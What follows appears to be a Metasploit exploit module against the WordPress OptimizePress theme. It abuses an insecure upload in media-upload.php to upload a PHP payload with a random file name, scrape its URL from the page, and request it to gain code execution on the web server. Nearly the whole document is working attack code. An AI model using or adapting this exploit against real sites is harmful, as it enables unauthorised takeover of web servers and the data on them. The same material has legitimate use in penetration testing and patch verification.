WordPress OptimizePress Theme File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'uri'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The  
vulnerability is due to an insecure file upload on the media-upload.php component, allowing  
an attacker to upload arbitrary PHP code. This module has been tested successfully on  
OptimizePress 1.45.  
},  
'Author' =>  
[  
'United of Muslim Cyber Army', # Vulnerability discovery  
'Mekanismen' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['OptimizePress', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 29 2013'  
))  
  
register_advanced_options(  
[  
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])  
])  
end  
  
def check  
uri = target_uri.path  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')  
})  
  
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = normalize_uri(target_uri.path)  
  
#get upload filepath  
print_status("#{peer} - Getting the upload path...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")  
end  
  
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/  
file_path = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")  
end  
  
#set cookie  
cookie = res.get_cookies  
  
filename = rand_text_alphanumeric(8) + ".php"  
  
#upload payload  
post_data = Rex::MIME::Message.new  
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")  
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")  
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")  
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")  
  
print_status("#{peer} - Uploading PHP payload...")  
  
n_data = post_data.to_s  
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),  
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,  
'data' => n_data,  
'headers' => {  
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"  
},  
'cookie' => cookie  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")  
end  
  
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")  
#get path to payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")  
end  
  
payload_url = ""  
  
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/  
payload_url =$1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")  
end  
  
begin  
u = URI(payload_url)  
rescue ::URI::InvalidURIError  
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")  
end  
  
register_files_for_cleanup(File::basename(u.path))  
  
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => u.path  
})  
end  
end  
`